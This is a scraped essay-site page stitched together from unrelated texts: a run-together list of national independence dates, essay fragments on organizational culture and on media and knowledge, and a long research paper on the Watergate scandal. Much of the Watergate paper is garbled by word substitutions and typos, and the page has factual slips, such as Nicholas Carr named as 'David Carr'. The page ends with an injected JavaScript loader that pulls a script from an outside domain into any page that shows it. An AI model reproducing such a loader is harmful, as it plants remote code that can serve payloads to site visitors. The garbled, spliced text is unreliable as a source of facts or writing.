Independence Days of the Nations of the World

Of the 196 countries on Earth, the vast majority became independent after 1800. Only 20 were independent before the start of the 19th century—a mere 10%— and by 1900, only 49 or 25% of the countries of today were independent. Countries by Independence Date Here are all the countries in the world, listed in order from the oldest to the youngest: 660 BCE: Japan221 BCE: China301 CE: San Marino843 CE: France976 CE: Austria10th Century CE: Denmark1001: Hungary1143: Portugal1206: Mongolia1238: Thailand1278: AndorraAugust 1, 1291: Switzerland1419: Monaco15th Century: Spain1502: IranJune 6, 1523: SwedenJanuary 23, 1579: The Netherlands1650: OmanMay 1, 1707: The United KingdomJanuary 23, 1719: Liechtenstein1768: NepalJuly 4, 1776: The United States of AmericaJanuary 1, 1804: HaitiJuly 20, 1810: ColombiaSeptember 16, 1810: MexicoSeptember 18, 1810: ChileMay 14, 1811: ParaguayJuly 5, 1811: VenezuelaJuly 9, 1816: ArgentinaJuly 28, 1821: PeruSeptember 15, 1821: Costa RicaSeptember 15, 1821: El SalvadorSeptember 15, 1821: GuatemalaSeptember 15, 1821: HondurasSeptember 15, 1821: NicaraguaMay 24, 1822: EcuadorSeptember 7, 1822: BrazilAugust 6, 1825: BoliviaAugust 25, 1825: Uruguay1829: GreeceOctober 4, 1830: Belgium1839: LuxembourgFebruary 27, 1844: The Dominican RepublicJuly 26, 1847: LiberiaMarch 17, 1861: ItalyJuly 1, 1867: CanadaJanuar y 18, 1871: GermanyMay 9, 1877: RomaniaMarch 3, 1878: Bulgaria1896: EthiopiaJune 12, 1898: The PhilippinesJanuary 1, 1901: AustraliaMay 20, 1902: CubaNovember 3, 1903: PanamaJune 7, 1905: NorwaySeptember 26, 1907: New ZealandMay 31, 1910: South AfricaNovember 28, 1912: AlbaniaDecember 6, 1917: FinlandFebruary 24, 1918: EstoniaNovember 11, 1918: PolandDecember 1, 1918: IcelandAugust 19, 1919: AfghanistanDecember 6, 1921: IrelandFebruary 28, 1922: EgyptOctober 29, 1923: TurkeyFebruary 11, 1929: The Vatican CitySeptember 23, 1932: Saudi ArabiaOctober 3, 1932: IraqNovember 22, 1943: LebanonAugust 15, 1945: North KoreaAugust 15, 1945: South KoreaAugust 17, 1945: IndonesiaSeptember 2, 1945: VietnamApril 17, 1946: SyriaMay 25, 1946: JordanAugust 14, 1947: PakistanAugust 15, 1947: IndiaJanuary 4, 1948: BurmaFebruary 4, 1948: Sri LankaMay 14, 1948: IsraelJuly 19, 1949: LaosAugust 8, 1949: BhutanDecember 24, 1951: LibyaNovember 9, 1953: CambodiaJanuary 1, 1956: SudanMarch 2, 1956: MoroccoMarc h 20, 1956: TunisiaMarch 6, 1957: GhanaAugust 31, 1957: MalaysiaOctober 2, 1958: GuineaJanuary 1, 1960: CameroonApril 4, 1960: SenegalMay 27, 1960: TogoJune 30, 1960: Republic of the  CongoJuly 1, 1960: SomaliaJuly 26, 1960: MadagascarAugust 1, 1960: BeninAugust 3, 1960: NigerAugust 5, 1960: Burkina FasoAugust 7, 1960: Cà ´te dIvoireAugust 11, 1960: ChadAugust 13, 1960: Central African RepublicAugust 15, 1960:  Democratic  Republic of the CongoAugust 16, 1960: CyprusAugust 17, 1960: GabonSeptember 22, 1960: MaliOctober 1, 1960: NigeriaNovember 28, 1960: MauritaniaApril 27, 1961: Sierra LeoneJune 19, 1961: KuwaitJanuary 1, 1962: SamoaJuly 1, 1962: BurundiJuly 1, 1962: RwandaJuly 5, 1962: AlgeriaAugust 6, 1962: JamaicaAugust 31, 1962: Trinidad and TobagoOctober 9, 1962: UgandaDecember 12, 1963: KenyaApril 26, 1964: TanzaniaJuly 6, 1964: MalawiSeptember 21, 1964: MaltaOctober 24, 1964: ZambiaFebruary 18, 1965: The GambiaJuly 26, 1965: The MaldivesAugust 9, 1965: SingaporeMay 26, 1966: GuyanaSeptember 30, 1966: BotswanaOctober 4, 1966: LesothoNovember 30, 1966: BarbadosJanuary 31, 1968: NauruMarch 12, 1968: MauritiusSeptember 6, 1968: SwazilandOctober 12, 1968: Equatorial GuineaJune 4, 1970: TongaOctober 10, 1970: FijiMarch 26, 1971: BangladeshAugust 15, 1971: BahrainSeptember 3, 1971: QatarNovember 2, 1971: The United Arab EmiratesJuly 10, 1973: The BahamasSeptember 24, 1973: Guinea-BissauFebruary 7, 1974: GrenadaJune 25, 1975: MozambiqueJuly 5, 1975: Cape VerdeJuly 6, 1975: ComorosJuly 12, 1975: Sao Tome and PrincipeSeptember 16, 1975: Papua New GuineaNovember 11, 1975: AngolaNovember 25, 1975: SurinameJune 29, 1976: SeychellesJune 27, 1977: DjiboutiJuly 7, 1978: The Solomon IslandsOctober 1, 1978: TuvaluNovember 3, 1978: DominicaFebruary 22, 1979: Saint LuciaJuly 12, 1979: KiribatiOctober 27, 1979: Saint Vincent and the GrenadinesApril 18, 1980: ZimbabweJuly 30, 1980: VanuatuJanuary 11, 1981: Antigua and BarbudaSeptember 21, 1981: BelizeSeptember 19, 198 3: Saint Kitts and NevisJanuary 1, 1984: BruneiOctober 21, 1986: The Marshall IslandsNovember 3, 1986: The Federated States of MicronesiaMarch 11, 1990: LithuaniaMarch 21, 1990: NamibiaMay 22, 1990: YemenApril 9, 1991: GeorgiaJune 25, 1991: CroatiaJune 25, 1991: SloveniaAugust 21, 1991: KyrgyzstanAugust 24, 1991: RussiaAugust 25, 1991: BelarusAugust 27, 1991: MoldovaAugust 30, 1991: AzerbaijanSeptember 1, 1991: UzbekistanSeptember 6, 1991: LatviaSeptember 8, 1991: MacedoniaSeptember 9, 1991: TajikistanSeptember 21, 1991: ArmeniaOctober 27, 1991: TurkmenistanNovember 24, 1991: UkraineDecember 16, 1991: KazakhstanMarch 3, 1992: Bosnia and HerzegovinaJanuary 1, 1993: The Czech RepublicJanuary 1, 1993: SlovakiaMay 24, 1993: EritreaOctober 1, 1994: PalauMay 20, 2002: East TimorJune 3, 2006: MontenegroJune 5, 2006: SerbiaFebruary 17, 2008: KosovoJuly 9, 2011: South Sudan

Organizational Culture Aspects Essay - 3411 Words

Organizational Culture Aspects The impact of culture is very important when it comes to attempting and achieving personal goals and business goals. Organizational cultures are the characteristics that are based on morals, values, traditions and personnel behavior. Values are very important because people act out upon his or her values, and values channel behavior. Saying and doing the right thing are two different things and if managers are trying to set the culture they have to set the example. Physical manifestations such as ethical codes or written rules are some ways the organization reflects its values. General Electric, Lockheed Martin, Haliburton Company, Corporate Express, ACH Foods and Whole Foods are corporations that strive to†¦show more content†¦Lockheed Martin uses The Diversity Maturity Model (DMM) to measure employee’s thoughts and perceptions to a better work environment. We all have heard the slogan â€Å"We never forget who we are working for.† Well, that is exactly what Lockheed’s mission is based on, â€Å"What’s good for people is good for business† (2008). Many companies are customer based and like General Electric they also â€Å"depend upon the imaginations, intelligence and curiosity of its employees† (2008) to serve customers better. Diversity is accepted and welcomed at Lockheed Martin because they rely heavily on teamwork. Ethical standards and behaviors are given to all from top executive leadership positions to every level at the corporation. They have values they rely on to respect each person’s individuality. Do what is right, Respect others, Perform with excellence. Creating the right culture is not easy but there are programs that help alleviate conflicts. For example, Lockheed uses the internet base software programs that give training on ethics and legal compliances. This type of training can address different topics such as sexual harassment and with technology has helped many companies in giving training where there is no time for seminars. Corporate Express Canada Corporate Express Canada (CEC) has been voted in the top 50 employers of Canada for the last 3 years in a row. Having this prestige makes CEC a very reputableShow MoreRelatedThe Cultural Aspects Of Organizational Culture1739 Words   |  7 PagesOrganizational Culture The Organizational Culture Theory analyzes the various cultural aspects of organizations, most notably the five metaphorical performances, the seven cultural markers, and the notion of culture being something an organization is versus culture being something an organization has. The five metaphorical performances are ritual, passion, sociality, politics, and enculturation. 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Furthermore, the firm seems to lack in sophisticated goal setting and reward policies under the undetermined leadership. This essay will attempt to analyse several cru cial organizational issuesRead MoreOrganizational Culture at Lincoln Electric686 Words   |  3 PagesAmerica. It is a phenomenal achievement to maintain the company’s ranking for several years. This implies that the organizational structure and culture should play a tremendous role in the Company’s continuous success and progress. This essay assess the assess the culture and different trends followed at Lincoln Electric Organizational Culture: Business dictionary defines Organizational Culture as the ‘values and behaviors that contribute to the unique social and psychological environment of an organization’

Construction of Knowledge Free Essays

Throughout this course, we have been exposed to various fields of literature that revolve around a specific theme portraying the argument and point being made. It is possible, however, that two very opposite articles with unrelated topics can and may revolve around a similar theme. Beginning on page 239 of Katherine Ann Ackley’s Perspectives on Contemporary Issues, author Jean Kilbourne describes the impact that advertising has had on our society in her write Advertising’s Influence on Media Content. We will write a custom essay sample on Construction of Knowledge or any similar topic only for you Order Now This article shares a close connection Lois Lowry’s Newbery Medal-winning novel, The Giver. In this dystopian society, a society characterized by human misery (Dictionary. com), officials regulate what the members of the Community know and experience. In addition to Kilbourne, published in The Atlantic in 2008 is writer David Carr’s article Is Google Making Us Stupid? Carr explains that the use of the internet and web browsers such as Google has altered the process in which we perceive information. Although these articles discuss very different issues, from contradicting advertisements to the perception of information, one can take notice to a striking resemblance. The construction of knowledge is affected through both the impact of advertisements in society as well as our recent exposure to the luxury of the internet. The regulation of information and the modern, instantaneous method of attaining knowledge contribute to the deterioration of our construction of knowledge. Author Jean Kilbourne describes in her article Advertising’s Influence on Media Content the misrepresentation of information provided by the media through magazines and television. The media exerts their content in two major ways: via the suppression of information that would harm or offend the sponsor and via the inclusion of editorial content that reflects the product in a positive light (Kilbourne, 239). The line between advertising and editorial content is blurred by advertorials, product placement, and video news releases (239). Strikingly, up to 85% of the news we get is bought and paid for by corporations eager to gain positive publicity (239). It is startling to see the control that the media has on what advertisements we as a society are exposed of, and how information is being filtered and regulated for the open public. In 1998, a scandal surfaced concerning the working conditions in foreign factories that supply Nike. Nike’s sponsorship of CBS’ Olympic coverage was rewarded when correspondents delivered the news wearing jackets emblazoned with Nike’s symbol (240). The president of CBS News denied that this sponsorship had anything to do with the investigative 48 Hours segment that had been released just before (240). The editor of The San Francisco Examiner likewise denied that Nike’s co-sponsorship of their annual promotion was in any way related to kill a column by a reporter that was highly critical of Nike (240). It is clear that corporations such as Nike have a way with advertising and have mastered the technique of masking their scandalous ways. Nike’s influence on the media and filtering of information is frightening, and its control over the construction of knowledge has deterred society from questioning its actions. In connection to the concealment of truths, Lois Lowry’s novel The Giver is based upon the construction of knowledge of a civilization. The novel revolves around Jonas, a twelve-year-old boy living in a dystopian society, where people lead dehumanized and often fearful lives (Lowry). He is chosen among his community to serve as the â€Å"Receiver of Memory† where he will maintain the past memories of a time before Sameness filled with pain and suffering, and the training for which will isolate him from his family and friends forever (Lowry). He learns through the previous Receiver, known as the Giver, about true knowledge and is exposed to a world shunned from the others of that society (Lowry). Jonas experiences a life full of love, color, choices, and knowledge, but consequently with hatred, suffering and misery (Lowry). The members of his community are content because they do not know of a better life, and the knowledge of what they are missing out on could create major chaos (Lowry). This is relative to Kilbourne’s argument that major corporations are releasing selected advertisements that expose only what they want the public to see. In the case of the Nike Corporation, the concealment of their horrid working conditions is relevant to Sameness in The Giver. By suppressing information from society, a higher power is in charge of regulating what the community is exposed of, and therefore interfering with their construction of knowledge. One of the main strategies that Kilbourne targets is the contradicting placement of advertisements within women’s magazines. Kilbourne points out the contrasting views within a magazine, from the front cover, through the context of the magazine, all the way to the advertisement appearing on the back page. The various headlines included on the cover appear to be along the lines of weight-loss advice, how to make the perfect chocolate cake, hair-styling tips, and numerous ways to avoid aging. Once you make your way to the pages within the magazine, numerous articles feature luscious cakes and pies juxtaposed with articles about diets. This, Kilbourne writes, is an invitation to pathology, fueling the paradoxical obsession with food and weight control that is one of the hallmarks of eating disorders (241). Women’s Day once offered an article on â€Å"Special Report on Deadly Appliances†. Lest we think this is not a serious problem, 80 people died and 370 were injured by these killer appliances (242). On the back cover of the exact magazine, however, there is an advertisement for cigarettes, a product that kills over 400,000 people a year (242). In 1996, an informal survey was conducted of popular women’s magazines that covered stories varying from countless health issues (242). These issues include skin cancer, Pap smears, and leukemia, as well as outstanding claims such as how breast cancer can be held off with aspirin and the possibility that dry-cleaned clothes can cause cancer (242). The back covers of all of these magazines contained an advertisement for cigarettes, and not a single mention of lung cancer and heart disease caused by smoking (242). The contents within these magazines contradict themselves, and it is obvious how major companies have played a role in regulating the news we receive through the media. The construction of knowledge is interrupted by the filtering of information by these companies paying off the media, restricting exposure to the real problems and issues in our society. Similarly to Kilbourne, David Carr expresses his concern for the construction of knowledge, although through a dissimilar issue. In his article Is Google Making Us Stupid, Carr expresses the influence that the internet has made on how we perceive information. Carr himself has personally been affected by the speedy resource that Google has provided for him (Carr). There has been a change in Carr’s perception of information, where he claims to have lost a sense of focus and that he feels he is literally dragging his way through a piece (Carr). Now, with the assistance of Google, research that once required days in the library can now be done in minutes (Carr). Instead of reading thoroughly the context of an article, Carr finds himself scanning headlines and blog posts, watching videos and podcasts, or just tripping link to link to link (Carr). In his words, Carr describes his own personal spectacle: â€Å"Once I was a scuba diver in the sea of words. Now I zip along the surface like a guy on a Jet Ski† (Carr). Further research has been conducted to explore the phenomenon. A recently published study of online research habits, conducted by scholars form University College London, suggests that we may well be in the midst of a sea of change in the way we read and think (Carr). The scholars examined computer logs documenting the behavior of visitors to two research sites over the course of five years. People using these sites exhibited a â€Å"form of skimming activity†, hopping from one source to another and rarely returning to any source they had already visited (Carr). It is apparent that our society has experienced a huge deterioration in the construction of knowledge. The perception of information has been influenced by the fast-paced and ever-expanding internet. Because we cannot fully absorb the content before us, our construction of knowledge has worsened and eroded. At a first glance, the articles Advertising’s Influence on Media Content and Is Google Making Us Stupid, written by Joan Kilbourne and David Carr, respectively, have nearly nothing in common in terms of their surface context. Kilbourne’s article relates to the impact of advertisements within the media, while Carr’s piece explains the deteriorating perception of knowledge. In addition to these two articles is the novel The Giver written by Lois Lowry, describing a dystopian society and the effects of regulating information. These pieces, while covering a vast span of topics and issues, commonly cover a deeper meaning: the construction of knowledge. All three sources explain the influence of media and other outside sources on how we perceive and stimulate knowledge based on our exposure. The regulation of information and the modern, instantaneous method of attaining knowledge have in fact contributed to the deterioration of our construction of knowledge. Works Cited Carr, David. â€Å"Is Google Making Us Stupid? † The Atlantic Day July/August 2008. Magazine. â€Å"Dystopia. † Dictionary. com Unabridged. Random House, Inc. 13 Apr. 2013. Dictionary. com http://dictionary. reference. com/browse/dystopia. Kilbourne, Jean. â€Å"Advertising’s Influence on Media Content. † Perspectives on Contemporary Issues: Readings Across the Disciplines. 6th ed. Ed. Katherine Anne Ackley. Boston: Wadsworth/Cengage Learning, 2012. 230-233. Print. Lowry, Lois. The Giver. New York, NY: Houghton Mifflin, 1993. Print. How to cite Construction of Knowledge, Papers

Watergate Scandal Essay Research Paper Watergate free essay sample

Watergate Scandal Essay, Research Paper Watergate Political dirts are non aliens to the United States. They dateback every bit far as 1830, with the presidential sex dirt and ThomasJefferson, and in 1875 with the Whiskey Ring and President Ulysses S.Grant ( Time and Again 1 ) . Today we have the Iran-Contra matter withRonald Reagan and Whitewater with Bill and Hillary Clinton. Even withthese, it can be argued that Watergate could perchance be the worstscandal in the history of the United States. Richard Milihous Nixon was the thirty-seventh President of the United States, and the lone President to of all time vacate his office. He was born the secondof five boies, in Yorba Linda, California. His parents were FrancisAnthony and Hannah Milhous Nixon. His calling started in 1945 when heaccepted the campaigning for a place in the 12th congressional territory whichhe won. He was elected to United States Congress in 1946, he thenentered into the Senate as the youngest member of all time in 1951. Merely ashort two old ages subsequently he became the 2nd youngest vice-president inhistory at the age of 30 nine. He served two footings as frailty Presidentunder President Dwight D. Eisenhower. In 1969 he won his command for thePresidency ( Kinsella 3 ) . The Iran-contra matter was more of a U.S. foreign policy matter. Thisscandal came approximately in November of 1986 when President RonaldReagan admitted to the merchandising of weaponries to Iran. The overall end was toimprove dealingss with Iran, but it shortly came to visible radiation that it was more of atrade of weaponries for sureties trade. Later it was found that some of theprofits from the sale of the weaponries to Iran went to the Nicaraguan # 8220 ; contra # 8221 ; Rebels. On Dec.24, 1992, President George Bush pardoned all thepeople involved with the dirt and no charges were filed againstRonald Reagan ( Iran-contra 1 ) . The latest of all dirts is the Whitewater matter. TheWhitewater matter is an on-going probe into a bad Arkansasreal-estate escapade in the late 1970, and its connexion with the nowdefunct Arkansas nest eggs and loan company, and with President BillClinton and his married woman Hillary. The Whitewater development companystarted in 1979 and had the investors Bill Clinton, the Governor ofArkansas, his married woman Hillary Rodham Clinton, a lawyer for the Rose lawfirm, James B. McDougal the proprietor of the Madison Guaranty Savingsand Loan. The group purchased some land which subsequently turned out to be abad venture. Sometime subsequently the nest eggs and loan went insolvents at a costof 60 million dollars to the taxpayers. There was allegations of thediversion of financess from Whitewater through the Madison Saving andLoan to cover some of the run debts of the Clinton # 8217 ; s. There werealso allegations of whether the Clinton # 8217 ; s gained income-tax benefits fromthe failure of Whitewater that they were non entitled to. To day of the month nocharges have been filed against President Clinton or his married woman Hillary ( Whitewater 1 ) . The whole Watergate dirt, brought about charges of politicalbribery, burglary, extortion, wiretapping, confederacy, obstructor ofjustice, devastation of grounds, revenue enhancement fraud, and illegal usage of the CIA andthe FBI, run parts and taxpayers money for private matters.In all, more than 30 disposal functionaries and other people in the Nixonadministration pleaded guilty or were found guilty of illegal Acts of the Apostless ( Time andAgain 2 ) . The term # 8220 ; Watergate # 8221 ; came from the Watergate Hotel in WashingtonD. C. In add-on to a hotel, the Watergate composite houses manybusiness offices, one which was the central office for the DemocraticNational Committee. It was here that the great dirt got its really start ( Farnsworth 1 ) . In the early forenoon hours of June 17, 1972 a security guard at the Watergate Hotel called constabularies about a robbery.Later, five work forces were arrest ed with grounds that linked them to thecommittee to re-elect the President ( NARA,1 ) . After the Watergate dirt had been uncovered, another group ofillegal activities came to visible radiation. It was found that in 1971 a group of WhiteHouse functionaries normally called the # 8220 ; Plumbers # 8221 ; had been making whateverthey deemed necessary to halt any leaks that were arising from theWhite House. A expansive jury subsequently indicted John Ehrlichman and SpecialCounsel, Charles Colson and others for the burglary and the break-in atthe office of a head-shrinker to acquire detrimental stuff on Daniel Ellsberg, theperson that had published classified paperss called the PentagonPapers. It was besides subsequently discovered that the Nixon disposal hadreceived big amounts of illegal run financess and used them to pay forpolitical espionage and pay more than five 100 thousand dollars tothe five work forces that burglarized the Watergate Hotel ( Infopedia,1 ) . In 1972, White Hous e functionaries besides testified that the Nixonadministration had falsified paperss to do it look as though John FKennedy had been involved in the blackwash of President Ngo DinhDiem of South Vietnam, and that they had besides written some documentsaccusing Senator Hubert H. Humphery of moral impropernesss ( Infopedia2 ) . After the Watergate burglars were linked to the commission to re-electthe President, official probes were put into action. As more andmore grounds pointed toward presidential engagement, the mediabecame more confident and aggressive. Bob Woodard and CarlBernstein two newsmans from the Washington Post, were veryinstrumental in the development of squads of fact-finding newsmans aroundthe universe. The term # 8220 ; Deep Throat # 8221 ; became a really common phrase forthe anon. functionary who leaked valuable information to the reportersWoodard and Berstein ( Farnsworth 6 ) . Other leaders in the investigationwere Judge Sirica, The Sam Ervin commission and partic ular prosecuterArchibald Cox. Archibald Cox was sworn in as the particular prosecuting officer in May 1973.As Cox and the Ervin Committee pushed the President for tapes that hadbeen made in the White House, Richard Nixon ordered Attorney GeneralElloit L. Richardson to disregard Cox as particular prosecuting officer. On Oct 20,1973 Elloit L. Richardson turned in his surrender, declining to fire Cox.William Ruckeishaus, the deputy Attorney General besides refused to dismissCox and was fired by Nixon. This bend of events came to be known asthe # 8220 ; Saturday Night Massacre # 8221 ; and heightened the thought that the presidentwas more involved than antecedently thought ( Grolier 1 ) . EventuallyArchibald Cox was dismissed as particular prosecuting officer by theSolicitor-General Robert Bork ( Farnsworth 4 ) . Between May and October of 1973, during particular Senate hearings, Alexander Butterfield disclosed to the senate commission that some WhiteHouse tapes existed. Archibald Cox and the Senate WatergateCommittee began their push to listen to the tapes. Nixon claimed # 8221 ; Executive Privilege # 8221 ; and refused to turn the tapes over for reappraisal ( Farnsworth 4 ) . The President, on April 30, did let go of some editedtranscripts of Oval Office conversations. All the tapes had suspiciousgaps. Not really satisfied with what they had received, Judge Siricasubpoenaed extra tapes. When Nixon refused to let go of theadditional tapes the instance went before the Supreme Court. The courtdecision was that Nixon could keep back any tapes that was of concern toNational Security, but insisted that Watergate was a condemnable affair. Thisruling subsequently led to the instance of UNITED STATES V. RICHARD NIXON ( Grolier 1 ) . On August 5,1974, Nixon than released three more tapes to thepublic. One of the tapes clearly revealed that he had taken many stairss tostop the FBI # 8217 ; s probe in the Watergate burglary. The tape alsomade it clear that the presiden t had been actively involved in the cover-upfrom the really beginning ( Grolier 1 ) . The battle for the tapes started in the period between May and Octoberof 1973 when Alexander Butterfield disclosed to senate hearings that thetapes existed. The tapes led to the fire and surrender of many people, and allegations against Rose Mary Woods, Nixon # 8217 ; s secretary, that shehad intentionally erased choice parts of the tapes as they were beingreleased ( Farnsworth 4 ) . Although Nixon did let go of the tapes a few at atime, and what were released may hold been edited, non all of the tapeshave been released to this twenty-four hours. This is why the tapes were given thename # 8220 ; The smoke gun # 8221 ; ( Groiler 2 ) . Although non all the tapes and files were released, the NixonPresidential Materials Staff, a portion of the National Archives and RecordsAdministrations, Office of the Presidential Nixon disposal, is gt ; keeper for all the historical stuffs of the Nixon administration.Their retentions include, some forty million pages of textual stuff, theaudiovisual records, about five hundred 1000 exposure, four 1000 videotapes, four 1000, four hundred audiotapes, ninehundred and 50 white House tapes and one million pess of gesture picturefilm, and more than 30 thousand gift points ( NARA I ) . The Nixon Presidential Materials Staff have some of the recordsavailable for research. The stuff unfastened to the populace is approximatelytwo thousand two hundred and ten three-dimensional pess of textual stuffs. Theyalso created a particular flies unit. The particular files unit was created inSeptember of 1972 and was to supply a storage location off from theWhite House Complex to hive away the selected sensitive files. Thesecomplete files are of a extremely sensitive nature and consist of documents of theOffice of the President, the staff secretary, the offices of H.R. Haldernan, John Dean, Charles Closo n. The following are the other groups that makeup the particular files and are lone parts of the files ( NARA1 ) . Desmond Barker Jr. Special Assistant to the President ( 1 three-dimensional pes ) John R. Brown Ill Staff helper to H.R. Haldeman ( I cubic pes ) Patrick J. Buchanan Special Assistant to the President ( 9 three-dimensional pess ) Stephen B. Bull Special Assistant to the President ( 2 three-dimensional pess ) Alexander P. Butterfield Deputy Assistant to the President ( 3 cubicfeet ) J.Fred Buzhardt replaced John Dean as Counsel to the President ( 2cubic pess ) Dwight Chapin President # 8217 ; s Appointments Secretary ( 14 three-dimensional pess ) Charles W. Colson Special Counsel to the President ( 45 three-dimensional pess ) John W. Dean Counsel to the President ( 37 three-dimensional pess ) Harry Dent Deputy advocate and Particular Counsel to the President ( 4cubic pess ) John D. Ehrlichman Counsel to the President ( 23 three-dimensional pess ) Alexander M. Haig Senio r Military Assistant to the President ( 16cubic pess ) H.R. Haldeman President # 8217 ; s Chief of Staff ( 140 three-dimensional pess ) President # 8217 ; s Office Files ( 38 three-dimensional pess ) President # 8217 ; s Personal Files ( 65 three-dimensional pess ) This is merely a partial list of the files that are at the Nation Archives andRecords Administration and the Nixon Presidential MaterialsStaff ( NARA 2 ) . Richard Nixon, confronting White Houseimpeachment and likely Senate Conviction, became the first U.S.chief executive to vacate on August 9, 1974 ( Grolier 1 ) . It was laterreported that, Richard Nixon had arranged a trade with Vice-PresidentFord. The agreement was, if Ford would full make full two petitions, thatNixon would step down and do Gerald Ford the President. Thoseconditions were, Richard Nixon was to have a full forgiveness andthat Ford would do certain that any information about Nixon # 8217 ; sinvolvement with the anti-Castro operations would be wholly concealed ( Secret 1972 2 ) . With Gerald Ford stepping in to make full in the balance ofthe term, Ford gave Nixon a full and absolute forgiveness in September1974 ( Grolier 1 ) . Harry Robbins Haldeman was Nixon # 8217 ; s White House Chief of Staff.Haldeman was found guilty of confederacy, obstructor of justness andperjury in the Watergate cover-up. Haldeman was given a four yearsentence and was paroled on Dec.20, 1978 after functioning eighteenmonths. He subsequently published a book about the dirt entitled The Ends ofPower in 1978 ( Grolier 1 ) . Everette Howard Hunt was a CIA agent and an presidential aide.Hunt was the manager of the Watergate burglary at the DemocraticNational Headquarters. For his portion in the burglary Hunt was given a eightyear sentence. He was paroled on February 23, 1977 after functioning thirtytwo months. Hunt went on to print tonss of undercover agent thrillers into the1990s ( Grolier 1 ) . John Newton Mitchell served as the Attorney General of the Un itedStates. He became president of the Committee to Re-Elect the Presidentin March of 1972. He was sentenced to four old ages for his strong belief oncharges of confederacy, obstructor of justness and bearing false witness. He went on tolive softly in Washington DC after his release from prison in January1979 ( Grolier 1 ) . John Wesley Dean was the advocate to the President. Dean testifiedthat the President was involved in the cover-up and besides admitted his owninvolvement. He served a term of September 1974 to January 1975 ( Grolier 1 ) . G. Gorden Liddy was recruited for the White House staff by AttorneyGeneral John Mitchell. For Liddy # 8217 ; s engagement in the Watergate burglaryat the Democratic Headquarters and the housebreaking at Ellsberg # 8217 ; spsychiatrist # 8217 ; s office, he received a 20 old ages prison sentence. On April12, 1977, President Carter changed Liddy # 8217 ; s sentence from 20 toeight old ages ( Taylor 6 ) . These are merely a few illustrations o f the more than 30 Nixon functionaries thatadmitted their comforter or were found guilty of illegal Acts of the Apostless. Watergate gives us good stuff to look at for analysing the differentarms of the authorities. Congressional commissions, senate and bench, have complete independency and great power. The Senate Watergatecommittees were important in acquiring the surrender of Nixon, while therecommendation by the Judiciary commission to seek to impeach thepresident was carried in ballots by both the Republican and Democraticmembers ( Farnsworth 6 ) . The power of the Supreme Court over the Executive subdivision wasshown with the opinion that Nixon must turn over the tapes of the OvalOffice ( Farnsworth 7 ) . The separation of powers agencies that no member of any of the threedifferent parts of the authorities may belong or be a member of another ( Farnsworth 7 ) . As a good illustration of the cheques and balances, while the president isthe caput of the authorities he can non comm and the legislative assembly. While thepresident has to name the Judicial arm of the authorities, they have tobe approved by the Senate. The president serves a four twelvemonth term andcan merely be removed from office by mpeachment. The Senate is the onlypart of the authorities that can impeach the president, but theimpeachment procedure must get down in the Mouse of Representatives ( Farnsworth 7 ) . Different subdivisions of goverment have separate duties. Thepresident is on a fixed term and he is accountable to the House ofRepresentatives, the portion of the authorities that most reflects the currentopinion of the state. The Senate where each province has two senatorsregardless of population, is the lone portion that can take the president ( Farnsworth 8 ) . Although the tapes played a major portion in obtaining President Nixon # 8217 ; sresignation, legal actions taken by the President managed to maintain all butthe 40 hours of tapes from being released before his decease 20 y earslater ( Secret 1974 1 ) . It is now some 20 five old ages after the beginning of Watergate, andthe Nixon tapes are still doing the intelligence. In a recent tribunal conflict, theNixon household lost their battle to maintain the staying tapes sealed. TheNational Archivess have merely released some two hundred hours of tapes, one which has President Nixon stating his head of staff H.R. Haldeman tobreak into the Brookings Institution to take paperss refering theVietnam War. The publishing house of the Pentagon Papers, Daniel Ellsberg andformer Pentagon analyst, had several co-workers that worked at theBrooking Institution. Although there was neer any record of a housebreaking at the Brookingsinstitution, all of this is merely one more piece of grounds of the many illegalacts that accompanied the Watergate dirt, and was thought of orperformed by the Nixon Administration ( Mercury I ) . terminal of paper Farnsworth, Malcolm. Watergate. Online. www.gzone.com. 1997. # 8220 ; Iran-contra affair. # 8221 ; Infopedia. 1994, CD-ROM. Funk and Wagnalis. Kinsella, Michael. Rembering Richard Nixon and Watergate.Online, World Wide Web. members.gnn. NARA. Nixon Presidential Materials Available for Research.Online.gopher.nara.gov. National Archives and Records Admin. Nixon and Watergate. Online.www.nara.gov. # 8220 ; Nixon ordered think-tank break-in. # 8221 ; Mercury Center. Online. hypertext transfer protocol: //cgi.jsmercury.com/news/national/docs/002421.htm. # 8220 ; The Secret History of the United States 1972.Online. hypertext transfer protocol: //w3.one.net/ # 8217 ; conspira/1972.html. # 8220 ; The Secret History of the United States 1974. Online. hypertext transfer protocol: //w3.one.net/`conspira/1974.html. Taylor, Larry. G. Gordon Liddy. Agent from Creep.Online.www.gobaldialog.com. # 8220 ; Time and Again-Presidential Scandals. # 8221 ; Online. www.msn.com. # 8220 ; Watergate. # 8221 ; Encarta. Online. Microsofi, Encarta 96. Encyclopedia. # 8220 ; Watergate. # 8221 ; Grolier. 1995, CD-ROM. Grolier Inc. Version 8.0. # 8220 ; Whitewater affair. # 8221 ; Grolier. 1995, CD-ROM. Grolier Inc. Version8.0. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;